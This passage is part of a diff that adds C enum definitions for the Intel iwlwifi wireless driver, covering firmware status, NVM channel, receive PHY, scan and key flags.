iwl_mvm_session_prot_conf_id { + SESSION_PROTECT_CONF_ASSOC = 0, + SESSION_PROTECT_CONF_GO_CLIENT_ASSOC = 1, + SESSION_PROTECT_CONF_P2P_DEVICE_DISCOV = 2, + SESSION_PROTECT_CONF_P2P_GO_NEGOTIATION = 3, + SESSION_PROTECT_CONF_MAX_ID = 4, +}; + +enum iwl_mvm_smps_type_request { + IWL_MVM_SMPS_REQ_BT_COEX = 0, + IWL_MVM_SMPS_REQ_TT = 1, + IWL_MVM_SMPS_REQ_PROT = 2, + IWL_MVM_SMPS_REQ_FW = 3, + NUM_IWL_MVM_SMPS_REQ = 4, +}; + +enum iwl_mvm_status { + IWL_MVM_STATUS_HW_RFKILL = 0, + IWL_MVM_STATUS_HW_CTKILL = 1, + IWL_MVM_STATUS_ROC_P2P_RUNNING = 2, + IWL_MVM_STATUS_HW_RESTART_REQUESTED = 3, + IWL_MVM_STATUS_IN_HW_RESTART = 4, + IWL_MVM_STATUS_ROC_AUX_RUNNING = 5, + IWL_MVM_STATUS_FIRMWARE_RUNNING = 6, + IWL_MVM_STATUS_IN_D3 = 7, + IWL_MVM_STATUS_SUPPRESS_ERROR_LOG_ONCE = 8, + IWL_MVM_STATUS_STARTING = 9, +}; + +enum iwl_mvm_tdls_cs_state { + IWL_MVM_TDLS_SW_IDLE = 0, + IWL_MVM_TDLS_SW_REQ_SENT = 1, + IWL_MVM_TDLS_SW_RESP_RCVD = 2, + IWL_MVM_TDLS_SW_REQ_RCVD = 3, + IWL_MVM_TDLS_SW_ACTIVE = 4, +}; + +enum iwl_mvm_traffic_load { + IWL_MVM_TRAFFIC_LOW = 0, + IWL_MVM_TRAFFIC_MEDIUM = 1, + IWL_MVM_TRAFFIC_HIGH = 2, +}; + +enum iwl_mvm_tx_fifo { + IWL_MVM_TX_FIFO_BK = 0, + IWL_MVM_TX_FIFO_BE = 1, + IWL_MVM_TX_FIFO_VI = 2, + IWL_MVM_TX_FIFO_VO = 3, + IWL_MVM_TX_FIFO_MCAST = 5, + IWL_MVM_TX_FIFO_CMD = 7, +}; + +enum iwl_nvm_channel_flags { + NVM_CHANNEL_VALID = 1, + NVM_CHANNEL_IBSS = 2, + NVM_CHANNEL_ACTIVE = 8, + NVM_CHANNEL_RADAR = 16, + NVM_CHANNEL_INDOOR_ONLY = 32, + NVM_CHANNEL_GO_CONCURRENT = 64, + NVM_CHANNEL_UNIFORM = 128, + NVM_CHANNEL_20MHZ = 256, + NVM_CHANNEL_40MHZ = 512, + NVM_CHANNEL_80MHZ = 1024, + NVM_CHANNEL_160MHZ = 2048, + NVM_CHANNEL_DC_HIGH = 4096, + NVM_CHANNEL_VLP = 8192, + NVM_CHANNEL_AFC = 16384, +}; + +enum iwl_nvm_info_general_flags { + NVM_GENERAL_FLAGS_EMPTY_OTP = 1, +}; + +enum iwl_nvm_mac_sku_flags { + NVM_MAC_SKU_FLAGS_BAND_2_4_ENABLED = 1, + NVM_MAC_SKU_FLAGS_BAND_5_2_ENABLED = 2, + NVM_MAC_SKU_FLAGS_802_11N_ENABLED = 4, + NVM_MAC_SKU_FLAGS_802_11AC_ENABLED = 8, + NVM_MAC_SKU_FLAGS_802_11AX_ENABLED = 16, + NVM_MAC_SKU_FLAGS_MIMO_DISABLED = 32, + NVM_MAC_SKU_FLAGS_WAPI_ENABLED = 256, + NVM_MAC_SKU_FLAGS_REG_CHECK_ENABLED = 16384, + NVM_MAC_SKU_FLAGS_API_LOCK_ENABLED = 32768, +}; + +enum iwl_nvm_sbands_flags { + IWL_NVM_SBANDS_FLAGS_LAR = 1, + IWL_NVM_SBANDS_FLAGS_NO_WIDE_IN_5GHZ = 2, +}; + +enum iwl_nvm_section_type { + NVM_SECTION_TYPE_SW = 1, + NVM_SECTION_TYPE_REGULATORY = 3, + NVM_SECTION_TYPE_CALIBRATION = 4, + NVM_SECTION_TYPE_PRODUCTION = 5, + NVM_SECTION_TYPE_REGULATORY_SDP = 8, + NVM_SECTION_TYPE_MAC_OVERRIDE = 11, + NVM_SECTION_TYPE_PHY_SKU = 12, + NVM_MAX_NUM_SECTIONS = 13, +}; + +enum iwl_nvm_type { + IWL_NVM = 0, + IWL_NVM_EXT = 1, + IWL_NVM_SDP = 2, +}; + +enum iwl_pcie_fw_reset_state { + FW_RESET_IDLE = 0, + FW_RESET_REQUESTED = 1, + FW_RESET_OK = 2, + FW_RESET_ERROR = 3, +}; + +enum iwl_pcie_imr_status { + IMR_D2S_IDLE = 0, + IMR_D2S_REQUESTED = 1, + IMR_D2S_COMPLETED = 2, + IMR_D2S_ERROR = 3, +}; + +enum iwl_phy_db_section_type { + IWL_PHY_DB_CFG = 1, + IWL_PHY_DB_CALIB_NCH = 2, + IWL_PHY_DB_UNUSED = 3, + IWL_PHY_DB_CALIB_CHG_PAPD = 4, + IWL_PHY_DB_CALIB_CHG_TXP = 5, + IWL_PHY_DB_MAX = 6, +}; + +enum iwl_phy_ops_subcmd_ids { + CMD_DTS_MEASUREMENT_TRIGGER_WIDE = 0, + CTDP_CONFIG_CMD = 3, + TEMP_REPORTING_THRESHOLDS_CMD = 4, + PER_CHAIN_LIMIT_OFFSET_CMD = 5, + PER_PLATFORM_ANT_GAIN_CMD = 7, + AP_TX_POWER_CONSTRAINTS_CMD = 12, + CT_KILL_NOTIFICATION = 254, + DTS_MEASUREMENT_NOTIF_WIDE = 255, +}; + +enum iwl_plat_pm_mode { + IWL_PLAT_PM_MODE_DISABLED = 0, + IWL_PLAT_PM_MODE_D3 = 1, +}; + +enum iwl_power_flags { + POWER_FLAGS_POWER_SAVE_ENA_MSK = 1, + POWER_FLAGS_POWER_MANAGEMENT_ENA_MSK = 2, + POWER_FLAGS_SKIP_OVER_DTIM_MSK = 4, + POWER_FLAGS_SNOOZE_ENA_MSK = 32, + POWER_FLAGS_BT_SCO_ENA = 256, + POWER_FLAGS_ADVANCE_PM_ENA_MSK = 512, + POWER_FLAGS_LPRX_ENA_MSK = 2048, + POWER_FLAGS_UAPSD_MISBEHAVING_ENA_MSK = 4096, +}; + +enum iwl_power_level { + IWL_POWER_INDEX_1 = 0, + IWL_POWER_INDEX_2 = 1, + IWL_POWER_INDEX_3 = 2, + IWL_POWER_INDEX_4 = 3, + IWL_POWER_INDEX_5 = 4, + IWL_POWER_NUM = 5, +}; + +enum iwl_power_scheme { + IWL_POWER_SCHEME_CAM = 1, + IWL_POWER_SCHEME_BPS = 2, + IWL_POWER_SCHEME_LP = 3, +}; + +enum iwl_ppag_flags { + IWL_PPAG_ETSI_MASK = 1, + IWL_PPAG_CHINA_MASK = 2, + IWL_PPAG_ETSI_LPI_UHB_MASK = 4, + IWL_PPAG_ETSI_VLP_UHB_MASK = 8, + IWL_PPAG_ETSI_SP_UHB_MASK = 16, + IWL_PPAG_USA_LPI_UHB_MASK = 32, + IWL_PPAG_USA_VLP_UHB_MASK = 64, + IWL_PPAG_USA_SP_UHB_MASK = 128, + IWL_PPAG_CANADA_LPI_UHB_MASK = 256, + IWL_PPAG_CANADA_VLP_UHB_MASK = 512, + IWL_PPAG_CANADA_SP_UHB_MASK = 1024, +}; + +enum iwl_prot_offload_subcmd_ids { + WOWLAN_WAKE_PKT_NOTIFICATION = 252, + WOWLAN_INFO_NOTIFICATION = 253, + D3_END_NOTIFICATION = 254, + STORED_BEACON_NTF = 255, +}; + +enum iwl_proto_offloads { + IWL_D3_PROTO_OFFLOAD_ARP = 1, + IWL_D3_PROTO_OFFLOAD_NS = 2, + IWL_D3_PROTO_IPV4_VALID = 4, + IWL_D3_PROTO_IPV6_VALID = 8, + IWL_D3_PROTO_OFFLOAD_BTM = 16, +}; + +enum iwl_prph_scratch_flags { + IWL_PRPH_SCRATCH_IMR_DEBUG_EN = 2, + IWL_PRPH_SCRATCH_EARLY_DEBUG_EN = 16, + IWL_PRPH_SCRATCH_EDBG_DEST_DRAM = 256, + IWL_PRPH_SCRATCH_EDBG_DEST_INTERNAL = 512, + IWL_PRPH_SCRATCH_EDBG_DEST_ST_ARBITER = 1024, + IWL_PRPH_SCRATCH_EDBG_DEST_TB22DTF = 2048, + IWL_PRPH_SCRATCH_RB_SIZE_4K = 65536, + IWL_PRPH_SCRATCH_MTR_MODE = 131072, + IWL_PRPH_SCRATCH_MTR_FORMAT = 786432, + IWL_PRPH_SCRATCH_RB_SIZE_EXT_MASK = 15728640, + IWL_PRPH_SCRATCH_RB_SIZE_EXT_8K = 8388608, + IWL_PRPH_SCRATCH_RB_SIZE_EXT_12K = 9437184, + IWL_PRPH_SCRATCH_RB_SIZE_EXT_16K = 10485760, + IWL_PRPH_SCRATCH_SCU_FORCE_ACTIVE = 536870912, +}; + +enum iwl_prph_scratch_mtr_format { + IWL_PRPH_MTR_FORMAT_16B = 0, + IWL_PRPH_MTR_FORMAT_32B = 262144, + IWL_PRPH_MTR_FORMAT_64B = 524288, + IWL_PRPH_MTR_FORMAT_256B = 786432, +}; + +enum iwl_reg_capa_flags_v1 { + REG_CAPA_V1_BF_CCD_LOW_BAND = 1, + REG_CAPA_V1_BF_CCD_HIGH_BAND = 2, + REG_CAPA_V1_160MHZ_ALLOWED = 4, + REG_CAPA_V1_80MHZ_ALLOWED = 8, + REG_CAPA_V1_MCS_8_ALLOWED = 16, + REG_CAPA_V1_MCS_9_ALLOWED = 32, + REG_CAPA_V1_40MHZ_FORBIDDEN = 128, + REG_CAPA_V1_DC_HIGH_ENABLED = 512, + REG_CAPA_V1_11AX_DISABLED = 1024, +}; + +enum iwl_reg_capa_flags_v2 { + REG_CAPA_V2_STRADDLE_DISABLED = 1, + REG_CAPA_V2_BF_CCD_LOW_BAND = 2, + REG_CAPA_V2_BF_CCD_HIGH_BAND = 4, + REG_CAPA_V2_160MHZ_ALLOWED = 8, + REG_CAPA_V2_80MHZ_ALLOWED = 16, + REG_CAPA_V2_MCS_8_ALLOWED = 32, + REG_CAPA_V2_MCS_9_ALLOWED = 64, + REG_CAPA_V2_WEATHER_DISABLED = 128, + REG_CAPA_V2_40MHZ_ALLOWED = 256, + REG_CAPA_V2_11AX_DISABLED = 1024, +}; + +enum iwl_reg_capa_flags_v4 { + REG_CAPA_V4_160MHZ_ALLOWED = 8, + REG_CAPA_V4_80MHZ_ALLOWED = 16, + REG_CAPA_V4_MCS_12_ALLOWED = 32, + REG_CAPA_V4_MCS_13_ALLOWED = 64, + REG_CAPA_V4_11BE_DISABLED = 256, + REG_CAPA_V4_11AX_DISABLED = 8192, + REG_CAPA_V4_320MHZ_ALLOWED = 65536, +}; + +enum iwl_regulatory_and_nvm_subcmd_ids { + NVM_ACCESS_COMPLETE = 0, + LARI_CONFIG_CHANGE = 1, + NVM_GET_INFO = 2, + TAS_CONFIG = 3, + SAR_OFFSET_MAPPING_TABLE_CMD = 4, + MCC_ALLOWED_AP_TYPE_CMD = 5, + PNVM_INIT_COMPLETE_NTFY = 254, +}; + +enum iwl_responder_dyn_cfg_valid_flags { + IWL_RESPONDER_DYN_CFG_VALID_LCI = 1, + IWL_RESPONDER_DYN_CFG_VALID_CIVIC = 2, + IWL_RESPONDER_DYN_CFG_VALID_PASN_STA = 4, +}; + +enum iwl_roc_activity { + ROC_ACTIVITY_HOTSPOT = 0, + ROC_ACTIVITY_P2P_DISC = 1, + ROC_ACTIVITY_P2P_TXRX = 2, + ROC_ACTIVITY_P2P_NEG = 3, + ROC_NUM_ACTIVITIES = 4, +}; + +enum iwl_rx_baid_action { + IWL_RX_BAID_ACTION_ADD = 0, + IWL_RX_BAID_ACTION_MODIFY = 1, + IWL_RX_BAID_ACTION_REMOVE = 2, +}; + +enum iwl_rx_handler_context { + RX_HANDLER_SYNC = 0, + RX_HANDLER_ASYNC_LOCKED = 1, + RX_HANDLER_ASYNC_UNLOCKED = 2, + RX_HANDLER_ASYNC_LOCKED_WIPHY = 3, +}; + +enum iwl_rx_l3_proto_values { + IWL_RX_L3_TYPE_NONE = 0, + IWL_RX_L3_TYPE_IPV4 = 1, + IWL_RX_L3_TYPE_IPV4_FRAG = 2, + IWL_RX_L3_TYPE_IPV6_FRAG = 3, + IWL_RX_L3_TYPE_IPV6 = 4, + IWL_RX_L3_TYPE_IPV6_IN_IPV4 = 5, + IWL_RX_L3_TYPE_ARP = 6, + IWL_RX_L3_TYPE_EAPOL = 7, +}; + +enum iwl_rx_l3l4_flags { + IWL_RX_L3L4_IP_HDR_CSUM_OK = 1, + IWL_RX_L3L4_TCP_UDP_CSUM_OK = 2, + IWL_RX_L3L4_TCP_FIN_SYN_RST_PSH = 4, + IWL_RX_L3L4_TCP_ACK = 8, + IWL_RX_L3L4_L3_PROTO_MASK = 240, + IWL_RX_L3L4_L4_PROTO_MASK = 3840, + IWL_RX_L3L4_RSS_HASH_MASK = 61440, +}; + +enum iwl_rx_mpdu_amsdu_info { + IWL_RX_MPDU_AMSDU_SUBFRAME_IDX_MASK = 127, + IWL_RX_MPDU_AMSDU_LAST_SUBFRAME = 128, +}; + +enum iwl_rx_mpdu_mac_flags1 { + IWL_RX_MDPU_MFLG1_ADDRTYPE_MASK = 3, + IWL_RX_MPDU_MFLG1_MIC_CRC_LEN_MASK = 240, + IWL_RX_MPDU_MFLG1_MIC_CRC_LEN_SHIFT = 3, +}; + +enum iwl_rx_mpdu_mac_flags2 { + IWL_RX_MPDU_MFLG2_HDR_LEN_MASK = 31, + IWL_RX_MPDU_MFLG2_PAD = 32, + IWL_RX_MPDU_MFLG2_AMSDU = 64, +}; + +enum iwl_rx_mpdu_phy_info { + IWL_RX_MPDU_PHY_AMPDU = 32, + IWL_RX_MPDU_PHY_AMPDU_TOGGLE = 64, + IWL_RX_MPDU_PHY_SHORT_PREAMBLE = 128, + IWL_RX_MPDU_PHY_NCCK_ADDTL_NTFY = 128, + IWL_RX_MPDU_PHY_TSF_OVERLOAD = 256, +}; + +enum iwl_rx_mpdu_reorder_data { + IWL_RX_MPDU_REORDER_NSSN_MASK = 4095, + IWL_RX_MPDU_REORDER_SN_MASK = 16773120, + IWL_RX_MPDU_REORDER_SN_SHIFT = 12, + IWL_RX_MPDU_REORDER_BAID_MASK = 2130706432, + IWL_RX_MPDU_REORDER_BAID_SHIFT = 24, + IWL_RX_MPDU_REORDER_BA_OLD_SN = 2147483648, +}; + +enum iwl_rx_mpdu_status { + IWL_RX_MPDU_STATUS_CRC_OK = 1, + IWL_RX_MPDU_STATUS_OVERRUN_OK = 2, + IWL_RX_MPDU_STATUS_SRC_STA_FOUND = 4, + IWL_RX_MPDU_STATUS_KEY_VALID = 8, + IWL_RX_MPDU_STATUS_ICV_OK = 32, + IWL_RX_MPDU_STATUS_MIC_OK = 64, + IWL_RX_MPDU_RES_STATUS_TTAK_OK = 128, + IWL_RX_MPDU_STATUS_REPLAY_ERROR = 128, + IWL_RX_MPDU_STATUS_SEC_MASK = 1792, + IWL_RX_MPDU_STATUS_SEC_UNKNOWN = 1792, + IWL_RX_MPDU_STATUS_SEC_NONE = 0, + IWL_RX_MPDU_STATUS_SEC_WEP = 256, + IWL_RX_MPDU_STATUS_SEC_CCM = 512, + IWL_RX_MPDU_STATUS_SEC_TKIP = 768, + IWL_RX_MPDU_STATUS_SEC_EXT_ENC = 1024, + IWL_RX_MPDU_STATUS_SEC_GCM = 1280, + IWL_RX_MPDU_STATUS_DECRYPTED = 2048, + IWL_RX_MPDU_STATUS_ROBUST_MNG_FRAME = 32768, + IWL_RX_MPDU_STATUS_DUPLICATE = 4194304, + IWL_RX_MPDU_STATUS_STA_ID = 520093696, +}; + +enum iwl_rx_phy_common_data1 { + IWL_RX_PHY_DATA1_INFO_TYPE_MASK = 4026531840, + IWL_RX_PHY_DATA1_LSIG_LEN_MASK = 268369920, +}; + +enum iwl_rx_phy_data5 { + IWL_RX_PHY_DATA5_EHT_TYPE_AND_COMP = 3, + IWL_RX_PHY_DATA5_EHT_TB_SPATIAL_REUSE1 = 60, + IWL_RX_PHY_DATA5_EHT_TB_SPATIAL_REUSE2 = 960, + IWL_RX_PHY_DATA5_EHT_MU_PUNC_CH_CODE = 124, + IWL_RX_PHY_DATA5_EHT_MU_STA_ID_USR = 262016, + IWL_RX_PHY_DATA5_EHT_MU_NUM_USR_NON_OFDMA = 1835008, + IWL_RX_PHY_DATA5_EHT_MU_SPATIAL_CONF_USR_FIELD = 266338304, +}; + +enum iwl_rx_phy_eht_data0 { + IWL_RX_PHY_DATA0_EHT_VALIDATE = 1, + IWL_RX_PHY_DATA0_EHT_UPLINK = 2, + IWL_RX_PHY_DATA0_EHT_BSS_COLOR_MASK = 252, + IWL_RX_PHY_DATA0_ETH_SPATIAL_REUSE_MASK = 3840, + IWL_RX_PHY_DATA0_EHT_PS160 = 4096, + IWL_RX_PHY_DATA0_EHT_TXOP_DUR_MASK = 1040384, + IWL_RX_PHY_DATA0_EHT_LDPC_EXT_SYM = 1048576, + IWL_RX_PHY_DATA0_EHT_PRE_FEC_PAD_MASK = 6291456, + IWL_RX_PHY_DATA0_EHT_PE_DISAMBIG = 8388608, + IWL_RX_PHY_DATA0_EHT_BW320_SLOT = 16777216, + IWL_RX_PHY_DATA0_EHT_SIGA_CRC_OK = 33554432, + IWL_RX_PHY_DATA0_EHT_PHY_VER = 469762048, + IWL_RX_PHY_DATA0_EHT_DELIM_EOF = 2147483648, +}; + +enum iwl_rx_phy_eht_data1 { + IWL_RX_PHY_DATA1_EHT_MU_NUM_SIG_SYM_USIGA2 = 31, + IWL_RX_PHY_DATA1_EHT_TB_PILOT_TYPE = 1, + IWL_RX_PHY_DATA1_EHT_TB_LOW_SS = 30, + IWL_RX_PHY_DATA1_EHT_SIG_LTF_NUM = 224, + IWL_RX_PHY_DATA1_EHT_RU_ALLOC_B0 = 256, + IWL_RX_PHY_DATA1_EHT_RU_ALLOC_B1_B7 = 65024, +}; + +enum iwl_rx_phy_eht_data2 { + IWL_RX_PHY_DATA2_EHT_MU_EXT_RU_ALLOC_A1 = 511, + IWL_RX_PHY_DATA2_EHT_MU_EXT_RU_ALLOC_A2 = 261632, + IWL_RX_PHY_DATA2_EHT_MU_EXT_RU_ALLOC_B1 = 133955584, + IWL_RX_PHY_DATA2_EHT_TB_EXT_TRIG_SIGA1 = 4294967295, +}; + +enum iwl_rx_phy_eht_data3 { + IWL_RX_PHY_DATA3_EHT_MU_EXT_RU_ALLOC_C1 = 261632, + IWL_RX_PHY_DATA3_EHT_MU_EXT_RU_ALLOC_C2 = 133955584, +}; + +enum iwl_rx_phy_eht_data4 { + IWL_RX_PHY_DATA4_EHT_MU_EXT_RU_ALLOC_D1 = 511, + IWL_RX_PHY_DATA4_EHT_MU_EXT_RU_ALLOC_D2 = 261632, + IWL_RX_PHY_DATA4_EHT_MU_EXT_SIGB_MCS = 786432, + IWL_RX_PHY_DATA4_EHT_MU_EXT_RU_ALLOC_B2 = 535822336, +}; + +enum iwl_rx_phy_flags { + RX_RES_PHY_FLAGS_BAND_24 = 1, + RX_RES_PHY_FLAGS_MOD_CCK = 2, + RX_RES_PHY_FLAGS_SHORT_PREAMBLE = 4, + RX_RES_PHY_FLAGS_NARROW_BAND = 8, + RX_RES_PHY_FLAGS_ANTENNA = 112, + RX_RES_PHY_FLAGS_ANTENNA_POS = 4, + RX_RES_PHY_FLAGS_AGG = 128, + RX_RES_PHY_FLAGS_OFDM_HT = 256, + RX_RES_PHY_FLAGS_OFDM_GF = 512, + RX_RES_PHY_FLAGS_OFDM_VHT = 1024, +}; + +enum iwl_rx_phy_he_data0 { + IWL_RX_PHY_DATA0_HE_BEAM_CHNG = 1, + IWL_RX_PHY_DATA0_HE_UPLINK = 2, + IWL_RX_PHY_DATA0_HE_BSS_COLOR_MASK = 252, + IWL_RX_PHY_DATA0_HE_SPATIAL_REUSE_MASK = 3840, + IWL_RX_PHY_DATA0_HE_TXOP_DUR_MASK = 1040384, + IWL_RX_PHY_DATA0_HE_LDPC_EXT_SYM = 1048576, + IWL_RX_PHY_DATA0_HE_PRE_FEC_PAD_MASK = 6291456, + IWL_RX_PHY_DATA0_HE_PE_DISAMBIG = 8388608, + IWL_RX_PHY_DATA0_HE_DOPPLER = 16777216, + IWL_RX_PHY_DATA0_HE_DELIM_EOF = 2147483648, +}; + +enum iwl_rx_phy_he_data1 { + IWL_RX_PHY_DATA1_HE_MU_SIGB_COMPRESSION = 1, + IWL_RX_PHY_DATA1_HE_MU_SIBG_SYM_OR_USER_NUM_MASK = 30, + IWL_RX_PHY_DATA1_HE_LTF_NUM_MASK = 224, + IWL_RX_PHY_DATA1_HE_RU_ALLOC_SEC80 = 256, + IWL_RX_PHY_DATA1_HE_RU_ALLOC_MASK = 65024, + IWL_RX_PHY_DATA1_HE_TB_PILOT_TYPE = 1, + IWL_RX_PHY_DATA1_HE_TB_LOW_SS_MASK = 14, +}; + +enum iwl_rx_phy_he_data2 { + IWL_RX_PHY_DATA2_HE_MU_EXT_CH1_RU0 = 255, + IWL_RX_PHY_DATA2_HE_MU_EXT_CH1_RU2 = 65280, + IWL_RX_PHY_DATA2_HE_MU_EXT_CH2_RU0 = 16711680, + IWL_RX_PHY_DATA2_HE_MU_EXT_CH2_RU2 = 4278190080, + IWL_RX_PHY_DATA2_HE_TB_EXT_SPTL_REUSE1 = 15, + IWL_RX_PHY_DATA2_HE_TB_EXT_SPTL_REUSE2 = 240, + IWL_RX_PHY_DATA2_HE_TB_EXT_SPTL_REUSE3 = 3840, + IWL_RX_PHY_DATA2_HE_TB_EXT_SPTL_REUSE4 = 61440, +}; + +enum iwl_rx_phy_he_data3 { + IWL_RX_PHY_DATA3_HE_MU_EXT_CH1_RU1 = 255, + IWL_RX_PHY_DATA3_HE_MU_EXT_CH1_RU3 = 65280, + IWL_RX_PHY_DATA3_HE_MU_EXT_CH2_RU1 = 16711680, + IWL_RX_PHY_DATA3_HE_MU_EXT_CH2_RU3 = 4278190080, +}; + +enum iwl_rx_phy_he_he_data4 { + IWL_RX_PHY_DATA4_HE_MU_EXT_CH1_CTR_RU = 1, + IWL_RX_PHY_DATA4_HE_MU_EXT_CH2_CTR_RU = 2, + IWL_RX_PHY_DATA4_HE_MU_EXT_CH1_CRC_OK = 4, + IWL_RX_PHY_DATA4_HE_MU_EXT_CH2_CRC_OK = 8, + IWL_RX_PHY_DATA4_HE_MU_EXT_SIGB_MCS_MASK = 240, + IWL_RX_PHY_DATA4_HE_MU_EXT_SIGB_DCM = 256, + IWL_RX_PHY_DATA4_HE_MU_EXT_PREAMBLE_PUNC_TYPE_MASK = 1536, +}; + +enum iwl_rx_phy_info_type { + IWL_RX_PHY_INFO_TYPE_NONE = 0, + IWL_RX_PHY_INFO_TYPE_CCK = 1, + IWL_RX_PHY_INFO_TYPE_OFDM_LGCY = 2, + IWL_RX_PHY_INFO_TYPE_HT = 3, + IWL_RX_PHY_INFO_TYPE_VHT_SU = 4, + IWL_RX_PHY_INFO_TYPE_VHT_MU = 5, + IWL_RX_PHY_INFO_TYPE_HE_SU = 6, + IWL_RX_PHY_INFO_TYPE_HE_MU = 7, + IWL_RX_PHY_INFO_TYPE_HE_TB = 8, + IWL_RX_PHY_INFO_TYPE_HE_MU_EXT = 9, + IWL_RX_PHY_INFO_TYPE_HE_TB_EXT = 10, + IWL_RX_PHY_INFO_TYPE_EHT_MU = 11, + IWL_RX_PHY_INFO_TYPE_EHT_TB = 12, + IWL_RX_PHY_INFO_TYPE_EHT_MU_EXT = 13, + IWL_RX_PHY_INFO_TYPE_EHT_TB_EXT = 14, +}; + +enum iwl_rx_usig_a1 { + IWL_RX_USIG_A1_ENHANCED_WIFI_VER_ID = 7, + IWL_RX_USIG_A1_BANDWIDTH = 56, + IWL_RX_USIG_A1_UL_FLAG = 64, + IWL_RX_USIG_A1_BSS_COLOR = 8064, + IWL_RX_USIG_A1_TXOP_DURATION = 1040384, + IWL_RX_USIG_A1_DISREGARD = 32505856, + IWL_RX_USIG_A1_VALIDATE = 33554432, + IWL_RX_USIG_A1_EHT_BW320_SLOT = 67108864, + IWL_RX_USIG_A1_EHT_TYPE = 402653184, + IWL_RX_USIG_A1_RDY = 2147483648, +}; + +enum iwl_rx_usig_a2_eht { + IWL_RX_USIG_A2_EHT_PPDU_TYPE = 3, + IWL_RX_USIG_A2_EHT_USIG2_VALIDATE_B2 = 4, + IWL_RX_USIG_A2_EHT_PUNC_CHANNEL = 248, + IWL_RX_USIG_A2_EHT_USIG2_VALIDATE_B8 = 256, + IWL_RX_USIG_A2_EHT_SIG_MCS = 1536, + IWL_RX_USIG_A2_EHT_SIG_SYM_NUM = 63488, + IWL_RX_USIG_A2_EHT_TRIG_SPATIAL_REUSE_1 = 983040, + IWL_RX_USIG_A2_EHT_TRIG_SPATIAL_REUSE_2 = 15728640, + IWL_RX_USIG_A2_EHT_TRIG_USIG2_DISREGARD = 520093696, + IWL_RX_USIG_A2_EHT_CRC_OK = 1073741824, + IWL_RX_USIG_A2_EHT_RDY = 2147483648, +}; + +enum iwl_rxon_context_id { + IWL_RXON_CTX_BSS = 0, + IWL_RXON_CTX_PAN = 1, + NUM_IWL_RXON_CTX = 2, +}; + +enum iwl_scan_channel_flags { + IWL_SCAN_CHANNEL_FLAG_EBS = 1, + IWL_SCAN_CHANNEL_FLAG_EBS_ACCURATE = 2, + IWL_SCAN_CHANNEL_FLAG_CACHE_ADD = 4, + IWL_SCAN_CHANNEL_FLAG_EBS_FRAG = 8, + IWL_SCAN_CHANNEL_FLAG_FORCE_EBS = 16, + IWL_SCAN_CHANNEL_FLAG_ENABLE_CHAN_ORDER = 32, + IWL_SCAN_CHANNEL_FLAG_6G_PSC_NO_FILTER = 64, +}; + +enum iwl_scan_channel_flags_lmac { + IWL_UNIFIED_SCAN_CHANNEL_FULL = 134217728, + IWL_UNIFIED_SCAN_CHANNEL_PARTIAL = 268435456, +}; + +enum iwl_scan_ebs_status { + IWL_SCAN_EBS_SUCCESS = 0, + IWL_SCAN_EBS_FAILED = 1, + IWL_SCAN_EBS_CHAN_NOT_FOUND = 2, + IWL_SCAN_EBS_INACTIVE = 3, +}; + +enum iwl_scan_offload_auth_alg { + IWL_AUTH_ALGO_UNSUPPORTED = 0, + IWL_AUTH_ALGO_NONE = 1, + IWL_AUTH_ALGO_PSK = 2, + IWL_AUTH_ALGO_8021X = 4, + IWL_AUTH_ALGO_SAE = 8, + IWL_AUTH_ALGO_8021X_SHA384 = 16, + IWL_AUTH_ALGO_OWE = 32, +}; + +enum iwl_scan_offload_band_selection { + IWL_SCAN_OFFLOAD_SELECT_2_4 = 4, + IWL_SCAN_OFFLOAD_SELECT_5_2 = 8, + IWL_SCAN_OFFLOAD_SELECT_ANY = 12, +}; + +enum iwl_scan_offload_complete_status { + IWL_SCAN_OFFLOAD_COMPLETED = 1, + IWL_SCAN_OFFLOAD_ABORTED = 2, +}; + +enum iwl_scan_offload_network_type { + IWL_NETWORK_TYPE_BSS = 1, + IWL_NETWORK_TYPE_IBSS = 2, + IWL_NETWORK_TYPE_ANY = 3, +}; + +enum iwl_scan_priority_ext { + IWL_SCAN_PRIORITY_EXT_0_LOWEST = 0, + IWL_SCAN_PRIORITY_EXT_1 = 1, + IWL_SCAN_PRIORITY_EXT_2 = 2, + IWL_SCAN_PRIORITY_EXT_3 = 3, + IWL_SCAN_PRIORITY_EXT_4 = 4, + IWL_SCAN_PRIORITY_EXT_5 = 5, + IWL_SCAN_PRIORITY_EXT_6 = 6, + IWL_SCAN_PRIORITY_EXT_7_HIGHEST = 7, +}; + +enum iwl_scan_status { + IWL_MVM_SCAN_REGULAR = 1, + IWL_MVM_SCAN_SCHED = 2, + IWL_MVM_SCAN_NETDETECT = 4, + IWL_MVM_SCAN_INT_MLO = 8, + IWL_MVM_SCAN_STOPPING_REGULAR = 256, + IWL_MVM_SCAN_STOPPING_SCHED = 512, + IWL_MVM_SCAN_STOPPING_NETDETECT = 1024, + IWL_MVM_SCAN_STOPPING_INT_MLO = 2048, + IWL_MVM_SCAN_REGULAR_MASK = 257, + IWL_MVM_SCAN_SCHED_MASK = 514, + IWL_MVM_SCAN_NETDETECT_MASK = 1028, + IWL_MVM_SCAN_INT_MLO_MASK = 2056, + IWL_MVM_SCAN_STOPPING_MASK = 65280, + IWL_MVM_SCAN_MASK = 255, +}; + +enum iwl_scan_subcmd_ids { + CHANNEL_SURVEY_NOTIF = 251, + OFFLOAD_MATCH_INFO_NOTIF = 252, +}; + +enum iwl_scan_type { + IWL_SCAN_NORMAL = 0, + IWL_SCAN_RADIO_RESET = 1, +}; + +enum iwl_scd_cfg_actions { + SCD_CFG_DISABLE_QUEUE = 0, + SCD_CFG_ENABLE_QUEUE = 1, + SCD_CFG_UPDATE_QUEUE_TID = 2, +}; + +enum iwl_scd_queue_cfg_operation { + IWL_SCD_QUEUE_ADD = 0, + IWL_SCD_QUEUE_REMOVE = 1, + IWL_SCD_QUEUE_MODIFY = 2, +}; + +enum iwl_sec_key_flags { + IWL_SEC_KEY_FLAG_CIPHER_MASK = 7, + IWL_SEC_KEY_FLAG_CIPHER_WEP = 1, + IWL_SEC_KEY_FLAG_CIPHER_CCMP = 2, + IWL_SEC_KEY_FLAG_CIPHER_TKIP = 3, + IWL_SEC_KEY_FLAG_CIPHER_GCMP = 5, + IWL_SEC_KEY_FLAG_NO_TX = 8, + IWL_SEC_KEY_FLAG_KEY_SIZE = 16, + IWL_SEC_KEY_FLAG_MFP = 32, + IWL_SEC_KEY_FLAG_MCAST_KEY = 64, + IWL_SEC_KEY_FLAG_SPP_AMSDU = 128, +}; + +enum iwl_sf_scenario { + SF_SCENARIO_SINGLE_UNICAST = 0, + SF_SCENARIO_AGG_UNICAST = 1, + SF_SCENARIO_MULTICAST = 2, + SF_SCENARIO_BA_RESP = 3, + SF_SCENARIO_TX_RESP = 4, + SF_NUM_SCENARIO = 5, +}; + 